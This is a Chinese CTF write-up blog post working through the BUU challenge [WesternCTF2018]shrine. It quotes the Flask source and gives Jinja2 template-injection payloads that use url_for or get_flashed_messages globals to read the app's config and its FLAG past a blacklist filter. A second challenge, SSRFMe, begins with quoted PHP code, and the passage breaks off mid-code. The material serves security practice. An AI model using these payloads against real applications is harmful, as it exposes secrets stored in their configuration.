文章目录
BUU
每天一道题,冲冲冲!
0x00:[WesternCTF2018]shrine
首页便给了一段flask代码,简单分析一下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
发现这一段代码
app.config['FLAG'] = os.environ.pop('FLAG')
#pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
意思便是该题将FLAG存储到了配置变量中,但下面的代码过滤了config以及()
这个题考察的是SSTI,那下面就要想办法去使用config查看所有应用程序的配置值(FLAG值应该包含在其中),需要构造一个和config作用相同的payload,可以使用flask两个内置函数进行构造
url_for()
– 用于反向解析,生成urlget_flashed_messages()
– 用于获取flash消息
先寻找一下全部全局变量
{
{
url_for.__globals__}}
{
{
get_flashed_messages.__globals__}}
发现有current_app
全局变量,查看一下config
{
{
url_for.__globals__['current_app'].config}}
{
{
get_flashed_messages.__globals__['current_app'].config}}
{
{
url_for.__globals__['current_app'].config['FLAG']}}
0x01:[网鼎杯 2020 玄武组]SSRFMe
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url